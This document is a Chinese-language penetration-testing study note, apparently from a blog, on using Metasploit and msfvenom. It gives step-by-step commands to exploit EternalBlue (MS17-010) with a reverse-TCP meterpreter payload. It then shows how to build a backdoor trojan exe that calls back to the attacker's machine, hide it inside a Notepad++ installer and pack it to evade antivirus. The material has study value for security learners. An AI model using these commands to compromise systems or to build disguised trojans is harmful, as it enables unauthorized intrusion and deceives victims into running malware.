网安学习笔记

一、渗透工具Metasploit Framework的使用

1、简历

Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。

使用法则:搜索模块——使用模块——配置必选项——运行模块 

 2、安装和升级

一般在非kail的liunx下都是需要手动安装MSF的

#一键安装MSF:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
 
adduser msf                           #添加msf用户
su msf                                #切换到msf用户
cd  /opt/metasploit-framework/bin     #切换到msf所在的目录 
./msfconsole                          #以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。如果使用root用户启动的话,不会同步数据库  
 
#也可以将msfconsole加入到执行目录下,这样在任何目录直接msfconsole就可以了:
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole
 
#备注:
#初次运行msf会创建数据库,但是msf默认使用的PostgreSQL数据库不能与root用户关联,这也这也就是需要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖,初次运行是在root用户下,请使用 msfdb reinit 命令,然后使用非root用户初始化数据库。        
 
#非kali环境下更新升级MSF:
msfupdate							   #MSF后期的升级
#kali环境下更新升级MSF:
apt update 							   #更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告)
apt upgrade 						   #更新已安装的软件包,不删除旧包;
apt full-upgrade					   #升级包,删除旧包

#kail环境下升级
apt update 					#更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告)
apt upgrade 				#更新已安装的软件包,不删除旧包;
apt full-upgrade			#升级包,删除旧包
#MSF后期更新升级
msfupdate

 3、使用方式

1.基础使用

msfconsole										    #进入框架
search  ms17_010                                    # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue        # 使用use进入模块
info     										    #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp    	#设置攻击载荷
show options    									#查看模块需要配置的参数
set  RHOST  192.168.100.158    					    #设置参数
exploit / run     								    #攻击
后渗透阶段											#后渗透阶段

2.攻击载荷

        Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

        Shellcode:Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。

3.使用示例

a.通过search命令搜索模块

#搜索永恒之蓝模块
search ms17_010

b.进入永痕之蓝模块

#通过模块名进入
use exploit/windows/smb/ms17_010_eternalblue

#通过模块索引进入
use 0

c.查看模块配置项

options 或 show options

d.配置模块

#设置被攻击ip
set RHOSTS 127.0.0.1

#设置被攻击端口
set RPORTS 10000

#设置攻击载荷
set payload windows/x64/meterpreter/reverse_tcp

 e.运行模块

#运行模块命令
run
exploit

#攻击成功后可以通过help查看后续渗透操作

 二、渗透工具Msfvenom的使用

1、简历

        Msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.是用来生成后门的软件。MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。

2、参数介绍

-l, --list <type> 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,......all
 
-p, --payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
 
-f, --format < format> 指定输出格式
 
-e, --encoder <encoder> 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
 
-a, --arch < architecture> 指定payload的目标架构,例如x86 还是 x64 还是 x86_64
 
-o, --out < path> 指定创建好的payload的存放位置
 
-b, --bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使用 '\x0f'、'\x00'
 
-n, --nopsled < length> 为payload预先指定一个NOP滑动长度
 
-s, --space < length> 设定有效攻击荷载的最大长度,就是文件大小
 
-i, --iterations < count> 指定payload的编码次数
 
-c, --add-code < path> 指定一个附加的win32 shellcode文件
 
-x, --template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
 
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
 
-v, --var-name < value> 指定一个自定义的变量,以确定输出格式
 
-t, --timeout <second> 从stdin读取有效负载时等待的秒数(默认为30,0表示禁用)
 
-h,--help 查看帮助选项
 
--platform < platform> 指定payload的目标平台

 3、生成后门木马渗透攻击机

#使用msfvenom生成后门木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=kali机ip LPORT=7777 -f exe > demo.exe

#将木马传递给被攻击对象

#进入msfconsole
msfconsole

#进入handler模块监听被攻击对象
use exploit/multi/handler

#设置攻击载荷(名称必须和后门保持一致)
set payload windows/x64/meterpreter/reverse_tcp

#设置ip
set LHOST kali机ip

#设置端口
set LPORT=7777

#运行模块
run

#等待被攻击对象上钩

4、后门木马绕过杀毒软件技巧

1、绑定软件【指定其他软件安装包混在一起】
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=kali机ip LPORT=7777 -f exe -x nodepad++.exe > nodepad++.exe

2、加壳【压缩壳、加密壳】

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值